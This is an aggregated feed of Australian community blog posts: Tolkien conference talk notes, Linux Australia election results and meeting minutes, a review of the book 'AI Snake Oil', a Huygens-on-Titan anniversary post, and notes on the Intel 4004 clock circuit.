    • Talk a bit fast for me too keep up with notes

    Presentation: Lauren Brand – The Music of Nimrodel

    • As the company enter Lothlorien they come across the stream the Nimrodel
    • How much music in Middle earth relates to fresh water bodies?
    • Mapped up occurances of references to bodies of water and looked for songs/music and other descriptive words
      • 1216 occurrences
      • 621 no description
      • 123 a sound
      • 231 visual description
      • 53 touch
      • 20 taste
      • 22 smell
    • Sound comes and goes in various stages. Some waters like the Brandywine is described
    • Mordor has little water but Sam and Frodo are obsessed with it’s lack so lot of descriptions
    • Where is is the music of waters?
      • “a dream of music that turns into running water”
      • “a voice singing mingled with the sound of water”
    • Other noisy places
      • Gate stream “trickling” , “a swish followed by a plop”
      • “A mighty roaring mingled with a deep throbing boom”
      • “Voice of Morgalduin … seemed cold and cruel”
    • Spirit of the River is common
      • Like to drag people underwater and drown them
      • Jenny Greenteeth
    • Goldberry
    • Nimrodel
    • Others
      • Raros
      • Mirrormere
      • Galadriel’s Mirror
    • In conclusion, listen to the sounds around you especially the sounds of waters

    Share

    Saturday, 25 January 2025

    Simon LyallOzMoot 2025 – Day 2 – Afternoon

    Presentation: Cassidy Winter – Invertebrates in the Works of Tolkien and the Societal Impact of Those Portrayals

    • Hypotheses
      • Shelob = Hobbit
      • If Invertebrates written as evil by Tolkien
    • What is an Invertebrate?
    • Ungoliant
      • Takes the form of a Spider
    • Beorn’s Giant Bees
    • Mirkwood Spiders
    • Were-worms
    • Shortcut to mushroom: Spider, Centipede, Earthworms
    • Neekerbreekers
    • Morgul Flowers and Flies(?)
    • Sheblob – Spider
    • Butterflies
    • Gwaihir’s Moth pal – Film only
    • Ants, Glowworms, snails
    • Compiled list of all animal entries in Tolkien
    • Invertebrate by clade and alignment
    • Spiders mostly bad, butterflies mostly good
    • Stats
      • Horses good
      • Reptiles evil
      • invertebrates up in air
    • Horses have a capacity for evil matched only by Humans in my opinion

    Presentation: Ilana Mushin – Pride and Prejudice

    • What does Tolkien mean by Pride / Proud?
      • “proud and fair” in the dead marshes
      • “pride and dispair” Gandalf to Denothor
    • Pride is French word with positives connotations
      • Once in Old English it started to become negative (haughty, overbearing)
      • Middle-English – Gets back some positive meanings
    • The Grammar of Pride / Proud
      • To complex for me to summarize
    • Around 30% uses were positive
    • Negative 37%
    • 33% not clear if it positive or negative
    • Who is proud?
      • Saruman
      • Individual Elves (but sometimes Noldor)
      • Denethor
      • Folk of Gondor
      • Shadowfax
      • Turin
    • Sauron and Morgoth are not described has having pride

    Share

    Simon LyallOzMoot 2025 – Day 2 – Morning

    Presentation: Jordan Rannells – Exploring the Legendarium in 3D Audio

    • Created a 3D Audio experience for the Lord of the rings. Ambient sounds and music lines of the the Williams and Serkis audiobooks of the Lord of The Rings
    • Demo with Farmer Maggot and the Hobbits riding in his cart. Showing the way different channels are used
    • Demo from start of the Hobbit
    • People who know the stories can just listen to the soundscape and if the know the story well they can guess where they are without the actual audiobook words
    • So Far Hobbit, LoTR, First Happy Potter and Wheel of Time
    • Working on the Silmarillion. This is got a lot more music since Ambient is not so useful since words don’t usually directly describe things happening in real time.
    • Also working on more Wheel of Time and Tolkien “The Three Great Tales”
    • Origin of project
      • Started exclusively listening to audiobooks
      • Heard the Phil Dragash version
      • Listened to Star Wars versions but though they didn’t do as much music as liked
      • Heard some dramatizations and wanted to do with the full full text
      • Technology improved so multi-channels via headphones worked
    • Most of the Ambient sounds came from libraries but created some himself

    Presentation: Julian Barr – World Breaker

    • Reading from his new Epic Fantasy Novel
    • Inspired by Aus bushfires and Covid lockdowns
    • Got comfort from old Fantasy Books
    • “Heroes still exist and bad times don’t last forever”
    • Rediscovered like of fairy-tales
    • Mashing fairy-tales with high-fantasy
    • Julian did a longing reading from the book
    • Maps? – Country fairly small but quite detailed
    • Languages? – No constructed languages in book
    • Please expand on Origins
      • Inspired by Australian communities surviving wildfires
      • 21st century seems to require a lot of resilience
      • Worried especially younger people despairing about the future
      • But people are more adaptable than many give credit for
      • Series says ordinary heroes still exist and can overcome
    • Planned for 3+ in series . But working on other projects too

    Presentation: Stephen Vrettos – The Sound of Silver

    • Sliver is a motif in Legendarium
    • The sound of the word works will in hhrase
    • Sounds of silver: Soft tone
      • Movement of water
    • Gold in middle earth is often associated with evil
    • Water in a spring is described as “falling silver”
    • “murmuring of a silver stream”
    • “sheer, heart-piercing silver, rang her voice”
    • Brighter high-pitched sound than gold
    • Lots and lots of examples. I wasn’t able to keep up.
    • Goldberry – name is Gold, associated with Silver?
      • But her name mostly comes from Water Lilies
      • Probably the colour of the rushes
    • Also the Gold-Substance is partially seperate from Gold-Colour
    • Some discussion on the sound of Mithril
      • silver is bells, mithril is Tubular Bells

    Additional question for morning Speakers

    • Some more discussion about Silver and other metals
    • Julian talked a lot about apples trees in the extract he read and how apples trees are big in mythology

    Discussion Panel: Anthony Lawther, Phillip Menzies and Elizabeth (Dizzy) Rodrigues-Schifter – Exploring Espressione in “Exploring the Lord of the Rings”

    • Panel Discussion
    • Posted version of the Exploring the Lord of the Rings theme
    • Outlines who they started joining listening to the podcast
    • Gave an overview of the podcast and what it is about
    • “My Wife says: Can you put Corey on when we are in Bed so she can fall asleep”
    • Talks above favorite bits of the podcast. eg exactly where Frodo was stabbed, the Wargs
    • Poems each liked
      • Dizzy – Road goes ever on
      • Phil – I sit beside the Fire
      • Anthony – Gimli’s song about Durin
        • Giant Spreadsheet, showing stresses of words etc
        • Questions about listening to the podcast, how much is about the book and how much other stuff.

    Share

    Thursday, 16 January 2025

    Linux Australia2025 Scrutineer’s / Returning Officers Report

    Good Afternoon All,
    Here is a link to a copy of the Returning Officer’s report and the results of the recent election:
    The report will be also presented at the AGM on Monday at Everything Open in Adelaide.
    TL;DR the successful candidates are:
    President – Joel Addison
    Vice President – Jennifer Cox
    Secretary – Neill Cox
    Treasurer – Russell Stuart
    Ordinary Council Members:
    • Elena Williams
    • Jonathan Woithe
    • Lilly Hoi Sze Ho
    Thank you to everyone who participated either as a candidate or a voter, and a special thanks to Julien for acting as the Returning Officer again.
    I look forward to seeing many of you at the AGM in Adelaide on Monday 20 Januaryat 6PM ACDT in the Plenary Room.
    Kind Regards,
    Neill Cox
    Secretary
    Linux Australia

    The post 2025 Scrutineer’s / Returning Officers Report appeared first on Linux Australia.

    Wednesday, 15 January 2025

    Michael StillAI Snake Oil

    Nick recommended I read this book, so here it is.

    The book starts by providing an analogy for how we talk about AI — imagine that all transport vehicles were grouped by one generic term instead of a variety like “car”, “bus”, “rocket”, and “boat”. Imagine the confusion a conversation would experience if I was talking about boats and you were talking about rockets. This is one of the issues right now with discussions of “AI” — there are several kinds of AI, but the commentary is all grouped together and conflating the various types. I think this is probably a specific example of what Ben Goldacre talks about in Bad Science — science reporting by non-scientists is often overly credulous, and misses the subtleties.

    Next we need to decide what is in fact AI versus being something else which might be like AI, but not really AI. The book poses three questions to help here:

    • Would a human performing this role require training? If so this might be AI. Image generation is a good example where.
    • Is the behaviour of the system specified directly in code, or is it learnt from examples or a database search? The later is perhaps AI. The former is not.
    • Does the system act autonomously and adapt to changes in its environment? If so, it might be AI.

    Overall, the book does concede that whether or not something is described as being AI is largely defined by historical precedent, and often the marketing department of vendors in that space. That is, there is at the moment no generally accepted definition of what exactly AI is and isn’t.

    The book starts by examining predictive AI. It’s relatively quick to point out that predictive AI requires that the training dataset be representative of the data the trained model will be used on later. It also notes that producing good training datasets is very expensive, so implementers often try to reuse existing datasets that were not intended for this purpose and might have bias in their data — for example a dataset which measures government interventions in children at risk, but only collected data on interventions funded by the government, not those paid for with private insurance. Such a dataset would have a bias towards assuming that lower income people are more likely to have children at risk.

    Two tangible examples are given of common failure modes with predictive AI: the assumption that nothing about the training data changes when the AI is deployed — so for example if the AI replaces a previous system that was associated with the training data, then the model is likely wrong as it cannot take into account the removal of the previous system; the other example of this sort of failure is having a different training data set from the data set that the model is used on — so, if you train a model on a dataset of only men, and then use it to predict the behaviour of women, the results are likely to be poor.

    The examples used from a healthcare setting and the criminal justice system in the US are stark — at the worst people would have died unnecessarily if one of the erroneous models had been deployed, with other  predictive AIs producing negative outcomes such as significant financial hardship. Additionally, the vendors of predictive AI often use reduced human staffing as part of their sales pitch, but frequently rely on human review as a safety net for bad decision making. These two factors are obviously not aligned.

    I think the punch line here is that predictive AI is hard, requires strong human review while in operation, and is dependent on a good training dataset that likely does not exist. That is, be skeptical of predictive AI products!

    The book then moves onto generative AI, which it asserts largely works if you define working as “definitely produced something which is at least plausible”. However, generative AI is still prone to hallucinating, exposing bias in its training data, being used to produce astroturf or deepfake content, and trained on vast amounts of data for which the creators were not compensated (and some of whom are now competing against these very same AI tools). Its good to see the book take the stance that generative AI has no metric for its output being true — the models are trained to sound confident but are effectively mansplaining as a service. Another criticism of AI research in general that the book makes is that new developments are often only tested against accepted benchmarks, as this makes comparisons easier. However these benchmarks are not necessarily representative of real world use. An example used for this is measuring the success of legal AIs compared to the bar exam, when the bar exam isn’t particularly representative of much of the work lawyers perform day to day.

    Next up is a discussion of if the machines will become sentient and kill us all. The punchline? Don’t hold your breath.

    There is also a long discussion of the difficulties with using AI for content moderation on social media, which largely comes down to the same problems as prediction models — good training data is hard to obtain, and the subtleties of the content can be missed by a model (for example hate speech terms that have been “taken back” by their victims and are now ok to use in certain contexts). Worse, humans also learn how to game the moderation system to talk in a code they understand which the machine does not — for example using the corn emoji instead of the word “porn”.

    It seems like misunderstanding of AI in research and commercial applications is rampant. However, coupled with that is a strong bias towards credence as well — most reporting of AI developments is uncritical and largely consists of republishing lightly edited press releases. This is where we started with this review though — poor science reporting has been a problem for a long time.

    The book makes one final point that I find compelling — all of this is happening for many reasons: startups trying to make a profit; researchers needing to make a PR splash; and journalists being paid by the click instead of for quality content. However, it is also happening because there is demand for these magic bullets. Institutions aren’t funded well enough to do a reasonable job without magical technology, so instead they go and buy whatever magic is out there — regardless of if it actually works or not. Until we fix the demand problem, this sort of technology hype will continue, either for AI or for whatever is the next fad.

    Now, AI is useful, but it hasn’t found its niche yet and needs to work through the ethical implications along the way. That said, it is not going to solve all of the world’s problems by magic and we should stop pretending it will.

    This was an enjoyable read and it has definitely changed how I think about these issues. I’d strongly recommend this book.

    AI Snake Oil
    Arvind Narayanan, Sayash Kapoor
    2024
    348

    From two of TIME's 100 Most Influential People in AI, what you need to know about AI and how to defend yourself against bogus AI claims and products. Confused about AI and worried about what it means for your future and the future of the world? You're not alone.

    Tuesday, 14 January 2025

    Linux Australia2024 Linux Australia AGM Minutes

    Minutes of Linux Australia – Annual General Meeting 2024

    Saturday 20th  January 2024, 14:30pm (AEDT)

    Video conference via Zoom.

    Attendance record is available upon request

    Meeting started at 14:35pm AEDT.

     

    Apologies:

    • Lyndsey Jackson
    • Jennifer Cox

     

    1. President’s welcome

    MR JOEL ADDISON, President

    Acknowledgment of the traditional owners of the lands on which we meet

     

    2. Approval of the minutes from the previous Annual General Meeting 2023

    MOTION by JOEL ADDISON that the minutes of the Annual General Meeting 2023 of Linux Australia be accepted as complete and accurate.

    Seconded by Neill Cox

    Motion Passed with 82% Yay 18% abstains, no nays

     

    3. To receive the REPORTS of activities of the preceding year from OFFICE BEARERS

    MR JOEL ADDISON – President

    The full reports is attached to the annual report, so only a few highlights here:

    • Quite happy to see much more of the community come back in 2023 to run events
      • Drupal South was a standout with a number of events run, and sell out
      • Good to see PyConAu return as well after a year off
      • Thank you to the team that ran Everything Open in Melbourne – it was quite a successful event
      • The WordPress and Joomla communities are also starting up face to face events as well. WordPress have had several meetups and are looking to form a subcommittee to run more events. Joomla have been meeting online and are also looking towards face to face events.
    • The main focus for the coming year is reviewing everything we’re doing and making sure we are setting ourselves up for the future. We’ve had a few years of keeping everything running while things moved online or stopped. Now it’s time to move on from that and look towards the future.
      • Time to get people more engaged and build up the community again.
      • We have a number of conferences coming up but we need to make sure we have a pipeline
      • We also need to look at some of out long term programs to make sure they are still working
      • The grants program in particular should be reviewed
      • Investigate how we can better engage the membership and get them involved in more than just our conferences
    • Thanks to everyone on the committee for the last 12 months, especially to Wil who has just finished two years as vice president. It has been good to have him bring a different perspective to the council.

    Questions:

    • One question on grant applications: What type of grant applications were you hoping for which didn’t happen?
      • We had two categories of grant applications this year, one for community building and the other for the more traditional grants for projects
      • The community building grants did not get as much take up as expected. So we need to work on that.and improve our connections to all the groups in our community.
      • For the standard grants we need to have a discussion about how we track success of the grants. We are keen to support people purchasing hardware or working on software, but we need to do a better job of showing the benefit to the community,

     

    MR NEILL COX  – Secretary

     

    Attending from a remote location and don’t have the secretary’s report available. The summary is that a lot of support was provided by other committee members. It has been a privilege to be part of the council and the goal for the coming year is to actually better fulfil the role.

     

    MR RUSSELL STUART – Treasurer – Includes presentation of the Auditor’s Report

     

    Full report attached to the Annual Report.

     

    We had budgeted expenditure of $80,000 but in the end only spent $19,000.

     

    A very conservative outcome.

     

    We moved most of our spare cash into a term deposit. Locked in for two years, but at the end of that period we will see a considerable return.

    Conferences have not yet recovered from Covid, and it looks they won’t for a while yet which will cause our income to drop

    One outstanding expenditure was the NZ Python User Group who got themselves into a difficult situation which has been reported separately by Sae Ra. We agreed to sponsor them to the amount of $55,000. The chances are that they will repay this but, in the short term this will allow them to run Kiwi PyCon. As a result we are forecasting a loss for this financial year.

    P&L for conferences are detailed in the report, but we have carried across a large deposit from PyConAU which dates back to 2021. The expense was recorded by the auditors in the year we incurred it. In actual fact we had an asset, and this year when the conference ran the auditor showed a significant profit because we did not have to pay for the venue.

     

    Drupal South carried across a number of expenses and some profit from the previous year.

    In summary we expect to make a loss this year due to our sponsorship of NZPug which we will probably recover, but

    Questions

    From the AGM chat by Hamilton: what about using project based accounting?.

    Response: that this is actually what we do, but some projects cross financial years

     

    From Kathy “Is this a sponsorship agreement, an auspice agreement or both”

    Response: Both. For NZPug it is a sponsorship agreement spanning 5 years. Linux Australia will also auspice KiwiPyCon.

     

    Russell also commends Everything Open 2024 which he is also treasurer of. He highly recommends that everyone goes to that conference in Gladstone

    4. Motions:

    • MOTION by Russell Stuart that the Auditor’s Report is a true statement of financial accounts.
      • Seconded by Joel Addison
        • 91% Yae
        • 0% Nays
        • 9% Abstain
    • MOTION by Joel Addison that the President’s report is correct.
      • Seconded by Russell Stuart
        • 95% Yae
        • 0% Nays
        • 5% Abstain
    • MOTION by Neill Cox that the Secretary’s report is correct.
      • Seconded by Sae Ra Germaine
        • 95% Yae
        • 0% Nays
        • 5% Abstain
    • MOTION by Russell Stuart that the Treasurer’s report is correct.
      • Seconded by Wil Brown
        • 86% Yae
        • 0% Nays
        • 14% Abstain
    • MOTION by Joel Addison that the actions of Council during 2023 are endorsed by the membership.
      • Seconded by Neill Cox
        • 91% Yae
        • 0% Nays
        • 9% Abstain

    5. Questions from the membership

    • Morgan Serong questioned the use of non-Open Source software by Linux Australia.
      • Joel responded with Linux Australia has always used a range of technologies and the choice of the technology is based on requirements. Whilst we prefer to use all open source tools this may not necessarily be possible due to the lack of functionality. However a review will be conducted.
      • Secondly Morgan feels that we are not doing well by our disabled community, in particular not running Everything Open as a hybrid conference so we can’t support people who can’t physically attend the conference. Margan says we need to do better. If we can’t support live remote talks we should still accept the proposal and allow it to be presented as a pre-recorded talk. This would allow the speaker to be recognised as having a talk worthy of acceptance.
        Morgan wrote to the secretary but received no reply.

    Morgan also suggests that we consider starting a journal that people could submit papers to. Do people think that anybody would be interested in submitting papers to such a journal?

     

    Response from Joel: We have looked at alternatives for zoom and other proprietary software, but we have not yet had time to find viable alternatives. We will look at this in this term. In reference to Everything Open, we have always tried to provide recordings, and hope to have a streaming service available for this year, but have not been able to finalise arrangements with the venue. We have accepted remote and pre-recorded talks.

     

    Finally, we will need to have some discussion about the possibility of publishing a journal. We may not have sufficient academic expertise to publish a journal.

     

    Final question from Morgan “Are we really paying for people to fly from the northern hemisphere to speak at the conference?”

    Response from Joel: Yes, to encourage speakers who would not be able to attend otherwise. We do try to avoid that

     

    Follow up question from Morgan: “Do we have a policy about climate?”

    Response from Joel: No, we do not.

    • Kathy Reid requested an indication of if the financing of NZPUG is to be considered to be a Sponsorship agreement or Auspicing or both.
      • Russell Stuart responded with  that NZPUG is sponsored by Linux Australia and that KiwiPyCon is now running under the auspices of Linux Australia

    6. DECLARATION of Election and WELCOME of incoming Council by the Returning Officer

    Returning Officer Julien Goodwin gives his report. The election was held via CiviCRM once again, and had no issues based on review of results. One strong note is that the CiviCRM election module user interface doesn’t implement removal of candidates already voted into named roles. The raw numbers are still correct though.

    Results

    • President: Joel Addison
    • Vice President: Sae Ra Germaine
    • Secretary: Neill Cox
    • Treasurer: Russell Stuart
    • Ordinary Council Members (alphabetical order):
      • Jennifer Cox
      • Andrew Pam
      • Jonathan Woithe

     

    Questions

    • Question from Katie McLaughlin : “With 68 voting members, what percentage of membership was that? I don’t think it was mentioned if we met quorum”

    Response from Julien: W It’s quite a low percentage, quorum is only five members. This is addressed in the report.

    • Question from Hamilton “Does CiviCRM have duplicate roles in results?”
      Response from Julien: The software does not remove candidates if they are eliminated after voting is started (because they were elected to a higher position). The data is there to confirm the results, but particularly for the OCM positions CiviCRM does not eliminate candidates. This a known issue
      Response from Joel: We do intend to address this in the current council..
    • Question about confirming nominations in the system from Hamilton Walker: Have we made any changes in response to Hamilton’s difficulties in nominating last year.
      Joel responded that no changes have been made to the system.

     

    7. Other Business

    • Morgan moved the following motion:
      • I move that Linux Australia adopt as a priority that it uses FOSS software for all purposes. I further move that we offer grants to people to improve existing OS software to add functionality to support Linux Australia’s needs.
        • 25% Yae
        • 45% Nays
        • 30% Abstain

    Suggestion from Josh that perhaps the motion failed because of confusion about the wording of the motion. Suggests that a new motion be raised if anyone feels strongly enough.

     

    Kathy: in response to Morgan’s question. Kathy opposed the motion on the basis that our resources are already spread too thin. She did agree that raising the issue was worthwhile. Not opposed to the goal of using universally available open source solutions, but concerned that we do not have enough volunteers to do the work.

    Andrew: We should have asked for people to speak before and after the motion before it was raised. Good that we are having the discussion now, but we should in future do it before the motion is raised.

    Morgan: Understands Kathy’s point about lack of volunteers, but he still feels that using Free and Open Source Software is at the heart of what this organisation is about and should be a key priority.

    Joel: Regardless of the outcome of the motion we will definitely be looking for open source alternatives and will report back to the members by the middle of the year on our progress,

     

    Email: Over the last few months we have been migrating email to new systems which has caused some instability. Hopefully these issues have been addressed.

    Emailing council@, and individual positions (e.g. secretary@). Email lists Please let the council know if you run into any problems.

     

    Russel Coker: Asks if we could have a wiki for these things.

    Joel: We used to have one, but we don’t have the resources to run one.

     

    Andrew: Important to assume good will and avoid getting over excited about disagreements. Discussions about resources and priorities will always need to be had, but import ant to remember that we are all doing our best and assume good will and not allow perceived disagreement to taken to heart.

     

    Russell Coker: The suggestion of a wiki is to use it as a place to address the reasons for using proprietary software and allow people to apply for grants or ways to allow use of open source alternatives instead. Russell would be happy to run it, but we would need more than one person.

     

    Re: Why are we using Zoom?

    Response from Joes: Because in the past open source alternatives did not scale to the size of the meetings we need to run.

     

    Joel: In conclusion – Everything Open will be in April, please look at attending.

     

    Meeting closed at 15:46 AEDT

     

    AGM Minutes Confirmed by 2024 Linux Australia Council

     

    Joel Addison
    President
    Sae Ra Germaine

    Vice-President

    Neill Cox

    Secretary

    Russell Stuart

    Treasurer

    Andrew Pam

    Ordinary Council Member

    Jennifer Cox

    Ordinary Council Member

    Jonathan Woithe

    Ordinary Council Member

     

     

    The post 2024 Linux Australia AGM Minutes appeared first on Linux Australia.

    Lev LafayetteTwenty Years Ago We Landed on Titan

    "Whoever has seen the universe, whoever has beheld the fiery designs of the universe, cannot think in terms of one man, of that man's trivial fortunes or misfortunes, though he be that very man."
    -- Luis Borges

    Titan is the largest moon of Saturn, about 1.2 billion kilometres from Earth. Discovered in 1655 by Christiaan Huygens, the dense opaque atmosphere prevented any understanding of Titan's surface for many years. It is the only moon known to have an atmosphere with a greater density than Earth and the only known object in space that has stable bodies of surface liquid.

    Knowledge of Titan was greatly improved by the Cassini-Huygens probe-lander, a joint effort by NASA, the ESA (European Space Agency), and the ASI (Agenzia Spaziale Italiana). It was launched on October 15, 1997. Travelling to Saturn included flybys of Venus, Earth, asteroids, and Jupiter.

    The Huygens lander module travelled with Cassini until its separation from the probe on December 25, 2004; Huygens landed by parachute on Titan on January 14, 2005. For its own part, Cassini made passes through the gaps between Saturn and its inner rings before going into Saturn's upper atmosphere, where it burned up.

    The Huygens lander discovered that Titan has a thick atmosphere that's 95% nitrogen and 2% methane. The surface has rivers, lakes, and even seas of the hydrocarbons methane and ethane.

    The landing is something that, to this day, I watch in awe.

    Happy landing day, Huygens.

    Saturday, 11 January 2025

    Michael StillUnderstanding the Intel 4004 clock circuit

    Noting that the Intel 4004 was normally sold as a chip set called the Intel MCS-4, the standard clock circuit used appears to be this (from this PDF, kindly provided by this vendor of MCS-4 test boards):

    MCS-4 clock generator circuit
    MCS-4 clock generator circuit

    Which means I want to work out what this circuit is doing. First off, let’s understand these flip flops. I found this really good course on Computer Organization and Design from Intermation that I think is worth more attention that it appears to have received. I especially like how the sequence of videos starts by explaining the precursor memory types including core memory. There is of course a series of relevant Ben Eater videos as well, so I’ve linked to those as well. These concepts directly map to the flip flop usage in the Intel MCS clock circuit.

    ConceptIntermationBen Eater
    Good white board descriptions of the concepts, more extensive coverageTangible breadboard circuits you can build
    SR LatchesIntermationBen Eater
    Latches and Flip FlopsIntermation: Latches and Flip Flops, timingsBen Eater: D Latches, D Flip Flops
    Flip Flop event detectorsIntermation
    Flip Flop clock dividersIntermation
    Building a binary counter with Flip FlopsIntermation
    Transparent latch applicationsIntermation

    As a bonus, a dude named Brek on YouTube built his own core memory, but the only documentation I can find is a series of YouTube videos from 2015. Certainly the links in the Hackaday article are all 404 errors now. I made a playlist of just those videos for convenience.

    So, this circuit starts to look like two clock dividers based on watching all those videos. Here’s the top half of the circuit redrawn in LTSpice:

    Most of the Intel 4004 clock circuit redrawn in LTSpice
    Most of the Intel 4004 clock circuit redrawn in LTSpice

    Note that I am using LTSpice on a Mac, which doesn’t have a toolbar. This makes it much harder to use, especially if you don’t really know what you’re doing like me. This LTSpice for Mac YouTube tutorial really helped me out here. It doesn’t help that LTSpice on the Mac seems to be quite buggy and wouldn’t actually save my edits unless I snuck up on them (hot tip, pay attention to encoding and end of line characters if you end up just wanting to edit the .asc file in a text editor). I also needed these settings for each of the D flip flops to make the simulation work:

    D flip flop simulation settings
    D flip flop simulation settings

    Which meant we could finally visualize the output of this clock circuit, which turns out to be a multi-phase clock divider:

    Intel 4004 clock phases
    Intel 4004 clock phases

    This maps to what the MCS-4 manual from 1973 says:

    What the MCS-4 manual has to say about external clocks
    What the MCS-4 manual has to say about external clocks

    Note that the MCS-4 is super into active low pins, so you need to mentally flip this timing diagram. Its basically saying that CLK1 and CLK2 alternate, and then after 7 cycles of that you get a single cycle of CLK1, CLK2, and SYNC. This is done because addresses and data are multiplexed across only four pins on the chops to keep pin counts down. SYNC is generated internally in the 4004 based off of CLK1 and CLK2.

    So anyway, baby steps to understanding some of the Intel 4004 circuitry a little better.

    Linux Australia2025-01-08 Council Meeting Minutes

    1. Meeting overview and key information

    Present

    • Joel Addison (President)
    • Sae Ra Germaine (Vice-President)
    • Russell Stuart (Treasurer)
    • Neill Cox (Secretary)
    • Andrew Pam (Council)
    • Jennifer Cox (Council)
    • Jonathan Woithe (Council)

     

    Apologies 

    • None

     

    Not Present

     

    Meeting opened at 20:07 AEDT by Joel  and quorum was achieved.

    Minutes taken by Neill.

     

    2. Log of correspondence

    • Not sure what happened here, but…………….. – some confusion caused by the mailing list migration
    • Fwd: Re: Advice on a letter of demand – advised to respond to the letter accusing LA of copyright violation
    • Thank you for advancing Open Source in 2024 – generic thank you from OSI
    • Unsubscribe please. Thank you – a couple of emails from people asking to be unsubscribed from the announce mailing list. Neill has not yet actioned them(but will)
    • IMPORTANT: Year-End Payment on Redbubble – notification of a change to the way Redbubble handles end of year payments
    • Disruptions to the rail system – business impacts –  request for comments from the NSW Small Business Commissioner about rail disruptions
    • Should Linux Australia have a BlueSky account? – we do now have one thanks to Kathy Reid
    • Posted on socials re Elections – links for sharing – Kathy Reid shared notifications about the elections on various social media platforms
    • Media & Comms Subcommittee report – submitted by Kathy Reid
    • Linux Australia’s 2023/2024 audit – has been completed
    • Did Victor Ogunjobi get an LA grant of some description? – we believe he was given assistance to attend Pycon AU 2023, by the Pycon AU subcommittee
    • Everything open conference query – Erich Heinzle has volunteered to give a talk at EO2025. Sae Ra has responded.
    • A number of emails were received due to the backlog of membership applications being (mostly) cleared.
    • MakerSpace Adelaide grant follow-up – Jonathan sent an email about the grant application. No conclusion has been reached yet.
    • Enquiry from Amay Mankad via the Linux Australia Website Contact Form – Jonathan has responded to an enquiry about volunteer positions for people keen to learn about Linux
    • Hosted open source video conferencing options – Andrew has provided a list of possible video conferencing platforms that use Open Source Software
    • Letter to Linux Australia Inc. 11.12.24 –  proposed response to copyright infringement claim.
    • Amazon Web Services Billing Statement Available – invoice from AWS for $7.68
    • Do we need the lugcomms list? – Russell Coker suggests there is not enough traffic to justify the mailing list
    • Re: Is it time to shut down the Health Hack Brisbane LA Subcommittee? – Russell has asked the Health Hack subcommittee whether they still need a bank account.
    • BAS Time – Request from Russell for subcommittee treasurers to clean up some transactions in Xero in preparation for submission of the next BAS
    • On list motion, 2024-2025 Budget, Treasurers Annual report for Sae Ra – motion to accept the 2025 budget
    • Voting now open posts up on the socials – Kathy Reid has announced that voting is open on various social  media platforms (with the notable exception of Facebook because she has no account on that platform)
    • Notice of Linux Australia 2025 Council Elections and AGM – Josh Hesketh has asked for the AGM to be added to the EO2025 schedule. That request has been passed to the organising committee
    • Membership Confirmation for LA Council Elections – request to confirm membership from Dallas Ramsden. Neill will respond – we can’t approve memberships during the caretaker period
    • Enquiry from Nathan Daniels via the Linux Australia Website Contact Form – wants to know if any QGIS talks are on the EO2025 schedule. Jonathan has responded.
    • Re: Email Spoofing – request for a bug bounty for pointing out a problem with DMARC for the linux.org.au domain – Neill will confer with the admin team and then respond. Noting that we do not offer bug bounties.
    • Fwd: Interested in a free booth at DDD Melbourne? – Kathy passed this on to council. Sae Ra will respond, some LUV volunteers may help.
    • Could we get a Voting Open reminder email? Kathy very politely points out that no email was sent announcing voting is now open. Neill has now sent two, the second one correcting a mistake in the first.
    • Voting is Open for the Linux Australia Council – announcement sent to the list.

    3. Items for discussion

    • Application for membership of LA from overseas – do we accept them

    The secretary has discretion to approve or disapprove membership.

     

    This question is moot while the council is in caretaker mode, but the next council will need to deal with this.

     

    The only benefits of membership are the ability to vote in elections and to apply for grants.

     

    Subcommittee members who need access to bank accounts need to be a member of Linux Australia. This may require approving membership of overseas applicants (e.g. Drupal Con Asia)

     

    For now we will accept membership applications form Australia and New Zealand and from other places if there is a clear involvement in an event or Linux Australia, or a reference from another member.

     

    We expect that the policy will guide the secretary but they will still exercise their discretion.

     

    • Budget

    The budget for next year has been based on last year.

    Significant changes:

    • there will be no grants program next year (as there are no profits to fund it)
    • the admin team are planning a face to face meeting.
    • we have funded  an Employee Assistance Program subscription

     

    Motion: That the budget as proposed in the annual report is accepted
    Moved by: Russell
    Seconded by: Sae Ra
    Motion passed

    • Copyright Violation

    Russell has received legal advice that we should respond to the letter of demand.

     

    He proposes that we respond by saying that the European Space Agency holds the copyright on the image we used, not Reuters.

    Motion: That we respond to Clayton Utz pointing out the copyright holder is the European Space Agency not Reuters.
    Moved by: Russell
    Seconded by: Joel
    Motion passed

     

    • Proposed new constitution, as required by the ATO

    Russell has prepared a set of suggested changes to the constitution. He will raise a pull request against the current constitution.

    Russell will also prepare some explanatory text to be placed on the LA website to explain the changes. This will be based on the commit messages in the pull request. Instructions on how to add comments/suggest changes on GitHub will also be provided.

    4. Items for noting

    5. Other business

    • Joel thanked the current committee for their work over the last year. The council thanked Joel for all his work as well.

     

    6. In camera

    • No items were discussed in camera

    7. Action items

    7.1 Completed Items

    7.2 Carried Forward

     

    Meeting closed at 20:55 AEDT

    Next meeting will be scheduled by the new council.

    The post 2025-01-08 Council Meeting Minutes appeared first on Linux Australia.

    Linux Australia2024-12-18 Council Meeting Minutes

    1. Meeting overview and key information

    Present

    • Joel Addison (President)
    • Sae Ra Germaine (Vice-President)
    • Russell Stuart (Treasurer)
    • Neill Cox (Secretary)
    • Jennifer Cox (Council)
    • Andrew Pam (Council)
    • Jonathan Woithe (Council)

     

    Apologies 

    • None

     

    Not Present

    • None

     

    Meeting opened at 20:11 AEDT by Joel and quorum was achieved.

    Minutes taken by Jonathan.

     

    2. Log of correspondence

    • Change of meeting software – there was some confusion about which video conference software we were using. We got it sorted.
    • [Purplecon] Update on the status of Purplecon 2024 – final report on the status of Purplecon 2024
    • Linux Australia’s 2023/2024 audit – Russell has asked the auditor for a progress update on Linux Australia’s audit
    • Accessibility report for ticketing platforms – The council has been asked to provide input on a project to improve accessibility of conference ticketing platforms.
    • 11 emails from fastmail about bounces/unsubscribes/changes of address for the Linux Australia mailman list – because of the migration
    • Not sure what happened here, but…………….. – from Keith Bainbridge in reference to the above
    • New online forms and changes to voting conducted by ballot – notification from NSW Fair Trading
    • Request for approval of >$5k invoice – PyCon AU – Russell has responded
    • Important: Upcoming update to our Personal Web Hosting effective 13th January 2025. – notification from Digital Pacific. The changes are not applicable to our situation.
    • News re: IRD loan – Notification that no further payments on the IRD loan will be required.
    • Letter to Linux Australia Inc. 11.12.24 – letter from Clayton Utz re a copyright claim over an image from LCA 2003(!)
    • IMPORTANT: Year-End Payment on Redbubble – notification the Redbubble are making a change to how they process payments.
    • Upcoming Domain Renewal Notice – Please Do Not Reply – notification re renewal of opensource.org.au
    • Disruptions to the rail system – business impacts – survey request from the  NSW Small Business Commission
    • Linux Australia’s 2023/2024 audit – requests for information from the auditor
